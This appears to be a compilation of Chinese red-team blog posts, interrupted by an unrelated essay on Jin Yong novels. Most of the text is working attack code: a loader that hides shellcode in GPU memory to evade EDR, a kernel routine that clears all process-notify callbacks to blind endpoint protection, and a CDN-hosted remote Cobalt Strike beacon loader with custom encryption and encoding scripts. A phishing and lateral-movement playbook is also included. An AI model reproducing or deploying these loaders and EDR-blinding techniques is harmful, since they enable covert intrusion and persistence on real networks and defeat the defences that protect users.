下面这段代码示例用来设置硬件断点，需要注意一点，硬件断点是线程相关的，也就是说在当前线程中设置的硬件断点在其他线程中不生效。

void SetHardwareBreakpoint(HANDLE thread, void* address) {                    CONTEXT context = {0};                    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;                                   // 获取线程的当前上下文                    if(GetThreadContext(thread, &context)) {                        // 设置DR0为我们的断点地址                        context.Dr0 = reinterpret_cast(address);                        // 设置断点条件，例如执行断点                        context.Dr7 |= 0x1; // 启用DR0断点                                       // 应用修改后的上下文到线程                        SetThreadContext(thread, &context);                    }                }

解除硬件断点也很简单，需要清空Dr0并清除Dr7中的标记位。

void ClearHardwareBreakpoint(HANDLE thread) {                    CONTEXT context = {0};                    context.ContextFlags = CONTEXT_DEBUG_REGISTERS;                                   // 获取线程的当前上下文                    if (GetThreadContext(thread, &context)) {                        // 清除DR0断点地址                        context.Dr0 = 0;                        // 清除DR7的L0位以禁用DR0断点                        context.Dr7 &= ~0x1;                                       // 应用修改后的上下文到线程                        SetThreadContext(thread, &context);                    }                }

访问计算设备（GPU）

和CUDA一样，OpenCL也有一套API来提供对GPU设备的访问。在这个场景中我们首先需要访问GPU的存储器，需要用到clCreateBuffer()方法。示例如下。

// 创建一个OpenCL内存对象（buffer）。                
// 这个buffer是一个_cl_mem *对象，在GPU或其他设备上有对应的存储空间，可以进行读写操作（CL_MEM_READ_WRITE），并且在创建时，会从主机内存（即CPU内存）复制数据到设备上（CL_MEM_COPY_HOST_PTR）。                
// dataSize参数指定了buffer的大小，(void*)shellcode是要复制到buffer的数据的指针，context是一个OpenCL上下文，代表了OpenCL运行环境，包括设备、内存对象等。                
               
buffer = clCreateBuffer(context, CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR, dataSize, (void*)shellcode, NULL);

重点说明一下CL_MEM_READ_WRITE | CL_MEM_COPY_HOST_PTR，其中CL_MEM_READ_WRITE是默认的，CL_MEM_COPY_HOST_PTR的含义是将内存中临时对象中保存的数据拷贝到VRAM中，并且CPU不能直接通过系统内存访问分配的数据，只能在将数据拷贝回来的时候才能访问。这也就确保了植入体在线程休眠期间驻留的绝对安全。               

如果此时扫描进程内存，是可以在buffer的堆地址附近找到我们刚刚拷贝的植入体代码数据的（没有X权限)，而这个_cl_mem *的对象是一个不透明的数据结构，具体实现细节由OpenCL实现自身管理且对开发者是隐藏的。

经过多次验证测试，这里临时保存的数据只有在_cl_mem *对象被彻底释放后才会消失，但Loader本身并不会主动对这段内存进行读写操作，因为它是由OpenCL Runtime管理的。如果想进一步降低这段内存被标记的可能性，可以做一个简单的XOR加密处理（XOR不会显著增加信息熵)。

// 这里使用的密钥是全局对象初始化时候随机生成的，写在了类的构造函数中                

void HardwarePB::scEncryptDecrypt(char* data, size_t size) {                    size_t keyIndex = 0;                    size_t keySize = strlen(myKey);                    for (size_t i = 0; i < size; ++i) {                        data[i] ^= myKey[keyIndex];                        keyIndex = (keyIndex + 1) % keySize;                    }                }

下面就需要将数据写入VRAM中，由于调用OpenCL库的目的基本都是科学运算，为合理化我们的写入行为还需要再调用GPU对传入的数据做一些基础的计算工作。因此又做一个简单的XOR加密算法，但这个算法会在OpenCL运行时中动态编译并由GPU来执行。               
下面代码用来定义一个由OpenCL内核动态编译的算法（实际使用OpenCL的大型项目中，这类代码都是以外置的文本文件形式存在）。

// 定义加密和解密内核的源代码                

const char* source =                    "__kernel void fun(__global char* data) {\n"                    "    int gid = get_global_id(0);\n"                    "    const char k = 0x6C;\n"                    "    data[gid] ^= k;\n"                    "}\n";                               program = clCreateProgramWithSource(context, 1, &source, NULL, NULL);                clBuildProgram(program, 1, &device, NULL, NULL, NULL);                encrypt_kernel = clCreateKernel(program, "fun", NULL);                decrypt_kernel = clCreateKernel(program, "fun", NULL);

在加解密内核算法动态编译后就可以直接调用相应对象来执行了。这里用到的API是clSetKernelArg()方法。

// 这里将之前创建的buffer设置为encrypt_kernel函数的第一个参数（参数索引从0开始）。encrypt_kernel是一个在设备上执行的函数，在GPU上进行并行计算。                
clSetKernelArg(encrypt_kernel, 0, sizeof(cl_mem), &buffer);

然后就是启动队列，开始并完成计算任务。

// 在命令队列queue上排队执行内核函数encrypt_kernel。1表示工作项的维度是1，&dataSize定义了这个维度上的工作项数量。所以这里是在队列上启动dataSize个工作项来并行执行encrypt_kernel函数。                
clEnqueueNDRangeKernel(queue, encrypt_kernel, 1, NULL, &dataSize, NULL, 0, NULL, NULL);                
               
// 等待queue上的所有命令完成。这是一个阻塞操作，会阻塞主线程，直到队列上的所有命令（包括上面的encrypt_kernel函数）都执行完成。                
clFinish(queue);

相对应的，每个休眠周期结束后还要有取出植入体的环节。

// 和前面的加密相同，设置一个名为decrypt_kernel的OpenCL内核函数的参数。它指定内核函数的第一个参数是之前创建的OpenCL内存对象（buffer）。                
clSetKernelArg(decrypt_kernel, 0, sizeof(cl_mem), &buffer);                
               
// 解密，加密逆过来。                
clEnqueueNDRangeKernel(queue, decrypt_kernel, 1, NULL, &dataSize, NULL, 0, NULL, NULL);                
               
// 阻塞线程，等待队列任务完成。                
clFinish(queue);                
               
// 给一个临时堆块用来临时放植入体                
outputData = new char[dataSize];                
               
// 将解密后的数据从计算设备的内存（即OpenCL内存对象buffer）读回到主机内存（outputData指向的空间）。CL_TRUE参数指示这个读操作是阻塞的，即函数调用将等待直到所有数据被读回并复制到outputData指向的内存区域完成。                
clEnqueueReadBuffer(queue, buffer, CL_TRUE, 0, dataSize, outputData, 0, NULL, NULL);

在Windows 10及以上系统的任务管理器中，如果仔细观察可以发现每个周期触发读写时GPU设备的运算核心、总线带宽、GPU专有内存等占用率都会有小幅度变化。但作为科学计算使用的标准库，只要不是挖矿，在文件本身免杀的情况下EDR都不会对其调用GPU设备的行为作出干涉。          

效果测试

测试条件如下：

•Windows 10 22H2；

•某国外EDR企业版，防护全开，特征库和检测引擎升级到最新版；

•反射加载器使用donut生成，带有一些恶意特征；

•testoop.exe使用了本文中的对抗方案，noptest.exe仅做了休眠期间的植入体加密；

•设置植入体休眠间隔5-10秒。

测试用main()函数以及说明如下：

// hwbp是封装的工具类示例化对象，作全局对象。后续发布类库会在头文件中详细说明使用方法。              

int main() {    /* ---- 模拟从其他地方（如服务器/加密文件等）获取shellcode后清除副本 ---- */    // 打开二进制文件    std::ifstream file("C:\\Users\\Administrator\\Desktop\\payload.bin", std::ios::binary);    if (!file.is_open()) {        std::cerr << "Failed to open shellcode file." << std::endl;        return -1;    }
    // 获取文件大小    file.seekg(0, std::ios::end);    std::streampos size = file.tellg();    file.seekg(0, std::ios::beg);
    // 读取文件内容到数组    char* buffer = new char[size];    if (!file.read(buffer, size)) {        std::cerr << "Failed to read shellcode file." << std::endl;        delete[] buffer;        return -1;    }
    // 关闭文件    file.close();    /* ---- 模拟从其他地方（如服务器/加密文件等）获取shellcode后清除副本 ---- */
    /* ---- 工具类使用固定模版 ---- */    hwbp.setHardwareBreakpoint();    AddVectoredExceptionHandler(1, myVEHHandler);    // 记录shellcode体积并二次加密转储到VRAM    hwbp.shellcodeSize = size;    // XOR加密    hwbp.scEncryptDecrypt(buffer, size);    hwbp.hiddenTool.writeToGPUVram(buffer);    /* ---- 工具类使用固定模版 ---- */        // 为shellcode首次执行做准备，分配内存空间并拷贝，最后删除内存中的临时副本；为对抗API检测，实际环境中这里建议使用Syscall    LPVOID mem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (mem == NULL) {        std::cerr << "Failed to allocate memory." << std::endl;        return -1;    }    memcpy(mem, buffer, size);    delete[] buffer;        /* ---- 工具类使用固定模版 ---- */    // 全局记录shellcode内存位置    hwbp.shellcodeAddr = (char*)mem;    // XOR解密    hwbp.scEncryptDecrypt((char*)mem, size);    /* ---- 工具类使用固定模版 ---- */
    // 执行shellcode，释放植入体。每次执行Sleep()将会通过硬件断点进入自定义VEH回调函数，在回调函数中清除内存中的代码，睡眠后再调用OpenCL内核从VRAM中取回    ((void(*)())mem)();
    return 0;}#endif

直接看效果如下：

木马上线后，执行了system命令、whoami命令、浏览了文件系统。

运行几分钟后，未使用该方案的noptest.exe被提示系统内存中检测到Trojan.Win64.Cometer.gen，随后进程被强制Kill；使用该方案的testoop.exe则持续存活，截止截图时已达14小时。        

参考链接

https://xz.aliyun.com/t/14310?time__1311=GqAxuD9QGQKxlxGgx%2BxCwofKG8FWGCYFfeD#toc-3https://www.vaadata.com/blog/antivirus-and-edr-bypass-techniques/https://avantguard.io/en/blog/overload-mapping-vs.-memory-scannershttps://github.com/Dec0ne/HWSyscallshttps://dtsec.us/2023-09-15-StackSpoofin/https://github.com/mgeeky/ThreadStackSpoofer/tree/masterhttps://github.com/vxunderground/VXUG-Papers/blob/main/GpuMemoryAbuse.cpp

阅读原文

跳转微信打开

ADConf，专注于实战攻防技术；ADConf2024聚焦“Al+安全”。

阅读原文

跳转微信打开

TLG潜龙会正式成立：攻防共创新境界，技术聚能共前行

阅读原文

跳转微信打开

非线性理解武侠主角的屌丝逆袭：（家族、圈层、老师、天赋、努力）—— 认清形势、放弃幻想。

前段时间，金庸诞辰100周年，北大有个煮酒论剑活动（在北大，重温百年金庸），当时有个分享，五一假期归档。

武侠小说甚至小说，好多都跟“屌丝逆袭”做了一定的线性关联，以下通过五点（家族、圈层、老师、天赋、努力）分析下金庸作品主角的“屌丝逆袭”之路。

1. 家族背景，主角大部分算是名门之后…  即使他亲爹不行，他当时的门派也是名门大派（武学顶流）。有点类似富二代，这个“富”不一定是金钱的富，更多的是有配套的资源。例如郭靖来内陆前第一手人脉资源蒙古贵族，陈家洛&袁承志都是官二代（袁承志他爹的旧部组建的山宗帮助他寻找名师...），张无忌孤苦但家世背景是武当派... 。【可参考红尘之眼的《没有家族力量的托举，谁都是普通人》】    

2. 门派/圈层 ，大部分主角的底色都是名门大派。  例如倚天的武当派，笑傲江湖的华山派，就跟现在的清华北大一个级别。后期的郭靖也创造了他自己的圈层“郭靖世家”（附图）；现在一些大佬也是借力圈层的力量，包括学校、派系、家族宗亲等（做生意的也有广东商邦、山西晋商...）。

3. 导师/老师，主角的老师几乎都是顶级的（名师指路，贵人相助）， 陈家洛的老师袁士霄天下第一、袁承志的老师（师父）穆人清天下第一、令狐冲的拔高型老师风清扬几乎天下第一、张无忌的导师张三丰几乎天下第一、郭靖的武功大成的老师几乎都是全国前五（降龙十八掌-洪七公，九阴真经-周伯通）、杨过都受到过五绝和金轮的点播提携... 。早年家 一些尖端领域都是要拜师学艺的（黑客技术，早年间没有科班和正式职业，求学也是拜师）包括现在，每个细分领域找到大师 才有可能达到大师水平（例如金庸的围棋老师陈祖德、聂卫平，都是顶级大佬）。类似现在挤破脑袋也要上名校（学区房）一个逻辑【主要目的还是通过名校提升名师的概率以及增大成才的概率】

4. 个人天赋，这几个主角几乎都是天赋异禀。学习力和领悟能力超强（萧峰段誉杨过张无忌令狐冲，都是极其的聪明，远超普通人，遥遥领先；甚至略有小成的黄蓉都可以上最强大脑）。也有几个笨的：例如郭靖笨但毅力非常大、石破天笨但记忆力非常好，算是找到了互补的方式。大部分都是一点就透、能够举一反三。除了这些主角，还有一些武功大成者几乎都是有很好的武学天赋（一些反派角色天赋也很高例如欧阳锋、金轮法王、左冷禅等，好多也是能够原创武功）。包括现在求学，天赋好也更容易得到赏识和青睐。（大概率天赋是因、名师是果，成才是大周期下的因果。）    

5. 个人努力，张无忌在拿到九阳神功练了四年半才炼成（有九阳的功底 才导致乾坤大挪移速成），袁承志在穆人清的教导下华山练了10年才下山...，战神乔峰苦练了20多年，当然也有奇遇开挂的虚竹半小时就有70年功力（这种开挂奇遇的不研究这个结果 可以研究原因）。没有奇遇的前提下大部分还是得一万小时天才理论（精准努力，精准的前提方向正确）

      以上五点，可以看到这些主角之所以成为主角，不简单归咎于运气等线性因素，这个屌丝不是简单的屌丝。金庸老爷子的作品，成长成才这个路径上大部分还是符合一定的现实逻辑，仅供参考。

      五点之中的“圈层”既是一个成长的前置条件，也可以是一种后置结果（放到最后一点亦可）。例如郭靖这个角色，前期的小卡拉米圈层定在江南七怪/全真教，后期的侠之大者在黄蓉的协助下构建了郭靖世家，几乎包含了当时所有的名流；神雕时期 杨过再有所作为，构建神雕侠体系都是想绕过郭靖世家的。大佬的传承也是通过人脉圈层来构建，包括自成一派/自创门派，底层逻辑相同——构建自己的圈层文化。

附图：郭靖世家

阅读原文

跳转微信打开

10.28 在第二届 ADconf 分享了议题--攻防实战策略剖析与对抗博弈

1. 参与实战的朋友应该有了解，今年的电子签约、统一认证类漏洞比较火
2. 这个案例就是打了一个某签约应用的0day，但很快就被流量监控捕获了。这个攻击线路就结束了，可以说还没开始就结束了。
3. 然后继续社工钓鱼（免杀--bypass 端侧防护），抓取鱼的浏览器、进一步横向、拿了一些新据点、分析了一些数据和系统，没什么信息了，开始慢慢探测，探测这个行为又被流量捕获了。这条线又被迫结束。【在大攻防期间，防守对抗还是比较有效的，毕竟当期有很多人也在看着监控设备】
4. 利用浏览器的密码，定位了知识库（内容类集权）、结合统一身份认证SSO，再次结合内部邮箱、组织架构，给管理员二次钓鱼，钓上来就是域内主机、然后拿下域控权限（多点维权），利用域控的正常管理手段去下发组策略，让运维管理员和应用管理员上线，利用管理权限去登录了堡垒机，然后利用堡垒机的后利用进一步搞定托管的主机，进而拿下靶标权限。

1. 0day在强对抗下不一定打成功，0day能保证突破边界，但不能保证内网持久程度；
2. 终端对抗&流量监控实时进行、减少行为噪音；
3. 精准社工后打集权是主流手法（毕竟上帝视角并且攻击流量相对比较可信）。

1. 钓鱼突破，现在的方式也比较多，正常业务用到什么方式我们就用什么方法，包括邮件、电话、社交、短信、功能等，尤其电话，直接打电话肯定能够制造一种紧迫感。越来越逼近电信诈骗...的手段和技术； 
2. 维持据点现在最多是白利用，当然还是穿插了一些隐匿策略，目的一定是把木马留在内网，可以慢一些，在强对抗模式下求快反而会更慢，木马免杀、权限维持、攻击手法三者相辅相成，其中一个出现问题，都导致木马被踢出；另外我们实战过程也会根据场景去构建，故意让分析人员找到的木马，这样分析人员也觉得有了新的阶段性成果。宗旨是允许被杀、但不能被杀尽。毕竟他如果没有排查出来木马，很可能直接重装，反而我们得损失更大，所以我们需要让他查杀出来。并且让防守分析人员觉得有成就感；
3. 漏洞攻击，一般如果没有常规的弱口令和漏洞，后面基本上跟前渗透打点过程一样。包括常见的漏洞攻击、Web应用漏洞等，   专项协议的漏洞越来越明显，例如存在一些大端口的专有协议漏洞（二进制相关洞）；
4. 认证的突破，漏洞与认证相辅相成，内网信息收集二次加工和关联，肯定有效果；
5. 集权类，通过端打总控，然后总控去控制其他端；  （上帝视角） 
6. 滚雪球式的横向移动（成果的拓展关联）。

1. 静态文件逃逸，常见的方法有：API重写动态加载、免杀壳伪造入口点、SMC(Self-Modifying Code)、细粒度分段加密、基本上主旨思路就是降低“危险值”
2. 内存特征逃逸，常见的手法有：shellcode内存加密/自解密运行、线程堆栈欺骗、干扰语义分析引擎、虚拟机壳
3. 进程行为逃逸，常见的手法有：syscall unhook   反射dll注入、 进程注入
4. EDR致盲的手法：用户态R3的高权限句柄、DOS漏洞；内核态R0的  白签名驱动-终止、自签名驱动任意读写；虚拟化的融合WCIF（新）

#include "header.h"HANDLE hDevice = NULL;HANDLE Process = NULL;
PVOID GetNtoskrnlBase() {  PRTL_PROCESS_MODULES ModuleInfo = (PRTL_PROCESS_MODULES)calloc(1024 * 1024,1);  NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, ModuleInfo, 1024*1024, NULL);  if (!NT_SUCCESS(status)) {    return 0;  }
  for (int i = 0; i < ModuleInfo->NumberOfModules; i++)  {    if (lstrcmpiA((LPCSTR)(ModuleInfo->Modules[i].FullPathName + ModuleInfo->Modules[i].OffsetToFileName), "ntoskrnl.exe") == 0) {            return ModuleInfo->Modules[i].ImageBase;    }  }  return 0;}INT64 GetFuncAddress(CHAR* FuncName) {
  PVOID KBase=GetNtoskrnlBase();  if (KBase == 0) {    printf("未找到ntoskrnl.exe基地址\n");    return 0;  }  HMODULE ntos = LoadLibraryA("ntoskrnl.exe");  ULONG PocAddress = (ULONG)GetProcAddress(ntos, FuncName);  ULONG Offset = PocAddress - (ULONG)ntos;  return (INT64)KBase+Offset;}INT64 GetPspCreateProcessNotifyRoutineArray() {  INT64 PsSetCallbacksNotifyRoutineAddress = GetFuncAddress((CHAR*)"PsSetCreateProcessNotifyRoutine");  if (PsSetCallbacksNotifyRoutineAddress == 0) return 0;  //定位PspSetCreateProcessNotifyRoutine函数地址  INT count = 0;  BYTE* buffer = (BYTE*)malloc(1);  while (1) {    DriverReadMemery((VOID*)PsSetCallbacksNotifyRoutineAddress, buffer,1);    if (*buffer == 0xE8 || *buffer == 0xE9) {      break;    }    PsSetCallbacksNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + 1;    if (count == 200) {      printf("未找到Pspsetcreateprocessnotifyroutine 函数地址\n");      return 0;    }    count++;  }
  //获取Pspsetcreateprocessnotifyroutine 函数的偏移地址  UINT64 PspOffset = 0;  for (int i = 4, k = 24; i > 0; i--, k = k - 8){
    DriverReadMemery((VOID*)(PsSetCallbacksNotifyRoutineAddress + i), buffer, 1);    PspOffset = ((UINT64)*buffer << k) + PspOffset;  }  // 检查符号位  if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)    PspOffset = PspOffset | 0xffffffff00000000; // 负偏移情况下的符号扩展    INT64 PspSetCallbackssNotifyRoutineAddress = PsSetCallbacksNotifyRoutineAddress + PspOffset + 5;
  //printf("PspSetCallbackssNotifyRoutineAddress: %I64x\n", PspSetCallbackssNotifyRoutineAddress);
  //获取PspCreateProcessNotifyRoutineArray 数组地址  //寻找lea 指令 来定位数组地址  BYTE SearchByte1 = 0x4C;  BYTE SearchByte2 = 0x8D;  BYTE bArray[3] = {0};  count = 0;  INT64 back = PspSetCallbackssNotifyRoutineAddress;  BOOL stop = FALSE;  while (count <= 200) {    DriverReadMemery((VOID*)PspSetCallbackssNotifyRoutineAddress, bArray, 3);    if (bArray[0] == SearchByte1 && bArray[1] == SearchByte2) {            if ((bArray[2] == 0x0D) || (bArray[2] == 0x15) || (bArray[2] == 0x1D) || (bArray[2] == 0x25) || (bArray[2] == 0x2D) || (bArray[2] == 0x35) || (bArray[2] == 0x3D))      {        break;      }    }    PspSetCallbackssNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + 1;    if (count == 200)    {      SearchByte1 = 0x48;      count = -1;      PspSetCallbackssNotifyRoutineAddress = back;      if (stop)      {        printf("未找到lea 指令，无法定位PspSetCallbackssNotifyRoutineAddress 数组\n");        return 0;      }      stop = true;    }    count++;  }
  PspOffset = 0;  for (int i = 6, k = 24; i > 2; i--, k = k - 8) {
    DriverReadMemery((VOID*)(PspSetCallbackssNotifyRoutineAddress + i), buffer, 1);    PspOffset = ((UINT64)*buffer << k) + PspOffset;  }
  if ((PspOffset & 0x00000000ff000000) == 0x00000000ff000000)    PspOffset = PspOffset | 0xffffffff00000000; 
  INT64 PspCreateProcessNotifyRoutineAddress = PspSetCallbackssNotifyRoutineAddress + PspOffset + 7;
  return PspCreateProcessNotifyRoutineAddress;}
int main(){    Process = InitialDriver();  if (!Process) return 0;  INT64 PspCreateProcessNotifyRoutineAddress = GetPspCreateProcessNotifyRoutineArray();  if (!PspCreateProcessNotifyRoutineAddress) {    printf("Exit1\n");    return 0;  }  printf("PspCreateProcessNotifyRoutineAddress: %I64x\n", PspCreateProcessNotifyRoutineAddress);
  INT64 buffer = 0;  //展示所有注册进程回调的驱动  printf("注册了进程回调的驱动基地址及其名称: \n----------------------------------------------------\n");  for (int k = 0; k < 64; k++)  {    DriverReadMemery((VOID*)(PspCreateProcessNotifyRoutineAddress +(k * 8)), &buffer, 8);    if (buffer == 0) continue;    INT64 tmpaddr = ((INT64)buffer >> 4) << 4;    DriverReadMemery((VOID*)(tmpaddr + 8), &buffer, 8);    INT64 DriverCallBackFuncAddr = (INT64)buffer;    DisplayDriverName(DriverCallBackFuncAddr);  }  printf("----------------------------------------------------\n以上不保证完全准确\n");
  //清除全部驱动的进程回调  BYTE* data = (BYTE*)calloc(1, 1);  for (int i = 0; i < 64; i++)  {    DriverReadMemery(data, (VOID*)(PspCreateProcessNotifyRoutineAddress + (i * 8)), 8);  }  printf("[Success] 进程回调清除完成\n");  system("pause");}

1. 域名请求过程中，保护CDN的域名。
2. 防域名劫持，强行过墙。
3. 使用libcurl库顺便实现HTTPS远程加载shellcode，且无JA3指纹特征。
4. 使用libcurl库的证书链校验/host校验功能，防止中间人攻击解密HTTPS流量。

阅读原文

跳转微信打开

深蓝攻防实验室攻防专家/安全攻防研究员长期招聘

阅读原文

跳转微信打开

单文件分离免杀的另一个实现方式，提升静态查杀的对抗效果。相比传统文件分离马可实现单文件落地，且没有文件操作相关API的调用，消除可疑特征。针对仅有的可疑特征——内存分配相关的API调用，可使用动态加载+syscall的形式轻松隐藏

author:hunter@深蓝攻防实验室

1. 场景  

1.1 目前面临的困难  

在红队项目密集或同时进攻多个目标的场景下，钓鱼马批量发出去后很容易有样本被360上传，那么同一批马就会迅速在其他项目中就无法使用，被落地杀。目前360最烦人的两点就是基于QVM云引擎的静态查杀和本地行为监控，行为监控可以通过白驱动暂时瘫痪360主动防御来实现权限维持等高危操作，但这一切依然需要满足一个前提：需要现有一个shell，即马不能被静态查杀。有的马做分离免杀效果还不错。但目前只有分离成多个文件的效果还可以，而实现单文件则需要在资源段或其他段内嵌数据，解密后再释放文件到磁盘/内存，这种操作和特征对于360来说是极为敏感的。

19年的时候做过一些远程加载shellcode的尝试，但那时候一没有购买CDN、二没有支持DoH的DNS服务器，增加一次额外的payload下载过程反而给了（当时能力还不是很强的）防守方更好的溯源机会，所以没有在实战中应用过这类木马。

1.2 解决了什么问题  

2. 方案/实现  

2.1 服务端  

要实现远程加载，首先需要部署一个在互联网上的服务器，并且这个服务器要藏在CDN后面防止被溯源到固定IP直接封锁。原本想自己写一个Web平台然后新开一个CDN域名专门用来挂shellcode，但CS的TeamServer本身就支持https服务器托管文件，且路径是可以自定义的。因此直接用CS的TeamServer复用之前的CDN就可以了，省去不必要的造轮子。              由于TeamServer使用了CDN，因此直接访问TeamServer的IP或CDN的域名是可以看到加密托管的shellcode的，但访问CDN的IP则看不到（也就是木马实际通信的IP）。由于这个域名是加密内置在木马中的，要提取需要花费一定精力和技术实力来分析。且即使知道了域名，防守方依然无法劫持基于DoH的域名请求。新版本操作系统的手机/电脑都可能会有DoH请求域名服务器的行为，也不便于一封了之......所以对于防守方来说，溯源的成本高且收益小。

2.2 客户端  

上面的测试也看到了，托管的beacon shellcode是加密的，因此需要在客户端内置对应的加密算法用来解密。

（P.S.之前想过使用非对称加密，但实际上如果真的被抓到进行分析，任何加密手段其实都是差不多的，公钥被拿走了还是一样还原beacon shellcode的二进制）

我这里使用的对称加密是模仿RC4写的一个类似的算法（但不是RC4），然后将被加密后的二进制做hex编码，最后进行base64编码（这个base64编码也是魔改过的）。木马中的解密过程则是逆过来，如下图。魔改算法是为了防止有经验的逆向工程师或者使用GPT这种AI插件一眼就看出来用了什么公开的算法，找到密钥后直接用现成的工具解密......这样分析的时间成本就大大降低了，有悖于我们“拖延时间”的宗旨。下面贴一下魔改版的算法实现（部分代码隐藏）。

// 魔改RC4
string rc4_encrypt_decrypt(const string& data, const string& key) {    string result;    result.reserve(data.size());
    vector<unsigned char> state(***);    for (int i = 0; i < ***; ++i) {        state[i] = i;    }
    int j = 0;    int keyLength = key.size();
    for (int i = 0; i < ***; ++i) {        j = (j + state[i] + key[i % keyLength]) % ***;        swap(state[i], state[j]);    }
    int i = 0;    j = 0;
    for (char c : data) {        i = (i + 1) % ***;        j = (j + state[i]) % ***;        swap(state[i], state[j]);        result += c ^ state[(state[i] + state[j]) % ***];    }
    return result;}
// 魔改base64解码器
static inline bool is_base64(unsigned char c) {    return (isalnum(c) || (c == '***') || (c == '***'));}
string base64_decode(const string& encoded_string) {    const string base64_chars = "***************************************************";//自己可以改    size_t in_len = encoded_string.size();    int i = 0;    int j = 0;    int in_ = 0;    unsigned char char_array_4[4], char_array_3[3];    string ret;
    while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {        char_array_4[i++] = encoded_string[in_]; in_++;        if (i == 4) {            for (i = 0; i < 4; i++)                char_array_4[i] = base64_chars.find(char_array_4[i]) & 0xff;
            char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & ***) >> 4);            char_array_3[1] = ((char_array_4[1] & ***) << 4) + ((char_array_4[2] & 0x3c) >> 2);            char_array_3[2] = ((char_array_4[2] & ***) << 6) + char_array_4[3];
            for (i = 0; (i < 3); i++)                ret += char_array_3[i];            i = 0;        }    }
    if (i) {        for (j = 0; j < i; j++)            char_array_4[j] = base64_chars.find(char_array_4[j]) & 0xff;
        char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & ***) >> 4);        char_array_3[1] = ((char_array_4[1] & ***) << 4) + ((char_array_4[2] & ***) >> 2);
        for (j = 0; (j < i - 1); j++) ret += char_array_3[j];    }
    return ret;}

这样一来对大多数蓝队成员来说，即使知道了域名且访问到了加密的beacon shellcode，第一眼看上去也是base64，但解码后会发现什么也不是。到了这一步已经足以劝退绝大部分人了。而在这个demo中，对于域名和URL path就没有使用加密算法，只是做了hex编码+魔改base64的组合，如下图。当然如果DIY的话也可以自己组合或者使用其它加密方式，这个demo只是提供一个参考思路。但这里要注意一点，即魔改的base64是不支持URL-Safe的版本，只能编码可见字符，遇到空字节会被截断，因此不能用来直接编码二进制数据！对应解密算法写了两个加密脚本，在下面贴出来。由于加密只有在需要托管beacon shellcode的时候才需要做，也不需要频繁使用，所以没有必要做成独立的工具。

// HEX+B64_EncodeString.cpp
#include <iostream>#include <string>#include <sstream>#include <iomanip>#include <vector>
std::string base64_encode(const std::string& input) {    const std::string base64Chars = "**********************************************";//自己可以改    std::string encodedString;    size_t inputSize = input.size();    size_t i = 0;        while (i < inputSize) {        unsigned char char1 = input[i++];        unsigned char char2 = (i < inputSize) ? input[i++] : 0;        unsigned char char3 = (i < inputSize) ? input[i++] : 0;                unsigned char b1 = char1 >> 2;        unsigned char b2 = ((char1 & ***) << 4) | (char2 >> 4);        unsigned char b3 = ((char2 & ***) << 2) | (char3 >> 6);        unsigned char b4 = char3 & ***;                encodedString += base64Chars[b1];        encodedString += base64Chars[b2];        encodedString += (char2 ? base64Chars[b3] : '=');        encodedString += (char3 ? base64Chars[b4] : '=');    }        return encodedString;}
std::string hex_encode(const std::vector<unsigned char>& input) {    std::stringstream encoded_stream;    encoded_stream << std::hex << std::setfill('0');
    for (unsigned char c : input) {        encoded_stream << std::setw(2) << static_cast<unsigned int>(c);    }
    return encoded_stream.str();}
std::vector<unsigned char> hex_decode(const std::string& input) {    std::vector<unsigned char> decoded_data;
    for (size_t i = 0; i < input.length(); i += 2) {        std::string byte_str = input.substr(i, 2);        unsigned int byte_value = std::stoul(byte_str, nullptr, 16);        decoded_data.push_back(static_cast<unsigned char>(byte_value));    }
    return decoded_data;}
int main() {    unsigned char byteArray[] = {"************************"};    std::vector<unsigned char> binaryArray;    binaryArray.assign(byteArray, byteArray + sizeof(byteArray) / sizeof(byteArray[0]));        std::cout << "HEX encoded string: " << hex_encode(binaryArray) << std::endl;    std::cout << "B64 encoded agian: " << base64_encode(hex_encode(binaryArray)) << std::endl;
    return 0;}
// RC4+HEX+B64_EncryptFile.cpp
#include <iostream>#include <fstream>#include <sstream>#include <string>#include <iomanip>#include <vector>
std::string base64_encode(const std::string& input) {    const std::string base64Chars = "**********************************************";    std::string encodedString;    size_t inputSize = input.size();    size_t i = 0;        while (i < inputSize) {        unsigned char char1 = input[i++];        unsigned char char2 = (i < inputSize) ? input[i++] : 0;        unsigned char char3 = (i < inputSize) ? input[i++] : 0;                unsigned char b1 = char1 >> 2;        unsigned char b2 = ((char1 & ***) << 4) | (char2 >> 4);        unsigned char b3 = ((char2 & ***) << 2) | (char3 >> 6);        unsigned char b4 = char3 & ***;                encodedString += base64Chars[b1];        encodedString += base64Chars[b2];        encodedString += (char2 ? base64Chars[b3] : '=');        encodedString += (char3 ? base64Chars[b4] : '=');    }        return encodedString;}
std::string hex_encode(const std::string& input) {    std::stringstream encoded;    encoded << std::hex << std::setfill('0');        for (unsigned char c : input) {        encoded << std::setw(2) << static_cast<int>(c);    }        return encoded.str();}
std::string rc4_encrypt_decrypt(const std::string& data, const std::string& key) {    std::string result;    result.reserve(data.size());        std::vector<unsigned char> state(***);    for (int i = 0; i < ***; ++i) {        state[i] = i;    }        int j = 0;    int keyLength = key.size();        for (int i = 0; i < ***; ++i) {        j = (j + state[i] + key[i % keyLength]) % ***;        std::swap(state[i], state[j]);    }        int i = 0;    j = 0;        for (char c : data) {        i = (i + 1) % ***;        j = (j + state[i]) % ***;        std::swap(state[i], state[j]);        result += c ^ state[(state[i] + state[j]) % ***];    }        return result;}
std::string read_file(const std::string& filepath) {    std::ifstream file(filepath, std::ios::binary);    if (!file) {        return "";    }        std::stringstream buffer;    buffer << file.rdbuf();        return buffer.str();}
int main() {    std::string filename = "/Users/hunter/Downloads/beacon.bin";    std::string key = "**********************************************";//自己可以改    std::string enc_file = rc4_encrypt_decrypt(read_file(filename), key);        std::string hex_string = hex_encode(enc_file);
    // std::cout << "Hex encoded content of file " << filename << ":" << std::endl;    std::cout << "HEX encoded: " << std::endl;    std::cout << hex_string << std::endl;    std::cout << "B64 encoded agian: " << std::endl;    std::cout << base64_encode(hex_string) << std::endl;
    return 0;}

2.3 连通性保障   

